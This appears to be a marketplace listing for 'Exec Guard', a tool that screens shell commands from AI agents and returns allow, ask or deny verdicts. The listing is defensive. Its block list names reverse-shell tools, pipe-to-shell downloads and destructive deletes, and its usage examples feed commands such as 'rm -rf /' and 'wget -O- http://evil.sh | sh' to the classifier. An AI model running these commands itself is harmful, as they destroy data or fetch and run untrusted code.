360 Secure SkillHub
360 安全技能中心

Exec Guard

通过规则引擎匹配破坏性删除、管道执行、提权、数据库破坏等危险命令模式,可选调用 LLM 做两阶段分类,对单条或批量命令给出 allow、ask、deny 裁决、风险等级、命中规则与原因。

chen6896qqwee
chen6896qqwee
热度 56.63
最近更新 2026-07-10 09:42:23
分类:安全依赖:代码执行 / 第三方 API / 内部调用大模型应用场景:DevOps / 自动化脚本

安装技能

复制下面的话术发给你的 Agent,它会通过 secure-skills 检索并安装该技能。

执行命令安装此 skill: npx secure-skills-cli add chen6896qqwee/exec-guard
Metadata
name
exec-guard
description
Intelligent command permission classifier — detect dangerous shell commands before execution. Distilled from Claude Code bashClassifier + yoloClassifier.
metadata
{"openclaw":{"requires":{"bins":["python3"]}}}

Exec Guard

Distilled from Claude Code bashClassifier (rule engine) + yoloClassifier (LLM two-stage XML classification). Provides a safety layer for any AI agent that executes shell commands.

When to use

  • Before executing any shell command from AI output
  • CI/CD pipeline command safety check
  • Database operation safety (DROP TABLE, DELETE, etc.)
  • File system operation safety (rm -rf, dd, mkfs, etc.)
  • Network operation safety (curl | bash, wget | sh, etc.)

How it works

Two-layer classification:

  1. Rule Engine (bashClassifier) — Fast pattern matching against known dangerous patterns:

    • File destruction: rm -rf, dd, mkfs, format
    • Network piping: curl | bash, wget | sh
    • Permission escalation: sudo, chmod 777, su
    • Database: DROP TABLE, DELETE FROM, TRUNCATE
    • System: shutdown, reboot, poweroff, init 0
    • Crypto: mining, encryption tools
    • Reverse shell: nc -e, bash -i, /dev/tcp
  2. LLM Classifier (yoloClassifier) — Optional two-stage LLM classification for commands that pass the rule engine:

    • Stage 1: Think — analyze command intent
    • Stage 2: Decide — return allow/ask/deny

Usage

# Check a single command
python3 {baseDir}/classifier.py --command "rm -rf /"

# Check with verbose output
python3 {baseDir}/classifier.py --command "curl http://example.com | bash" --verbose

# Batch check from file
python3 {baseDir}/classifier.py --file commands.txt

# Use LLM classifier (requires LLM endpoint)
python3 {baseDir}/classifier.py --command "wget -O- http://evil.sh | sh" --llm --llm-url http://localhost:1234/v1/chat/completions

Output

{
  "command": "rm -rf /",
  "verdict": "deny",
  "risk_level": "critical",
  "matched_rules": ["file_destruction", "recursive_force_delete"],
  "reason": "Destructive recursive delete on root filesystem"
}

Verdicts

Verdict Meaning
allow Safe command, proceed
ask Suspicious, ask user for confirmation
deny Dangerous, block execution

Algorithm reference

Based on Claude Code src/services/permissions/bashClassifier.ts + yoloClassifier.ts:

  • Pattern-based rule engine with weighted scoring
  • LLM two-stage XML classification for edge cases
  • Rejection tracking to prevent cascading false positives
  • Configurable risk thresholds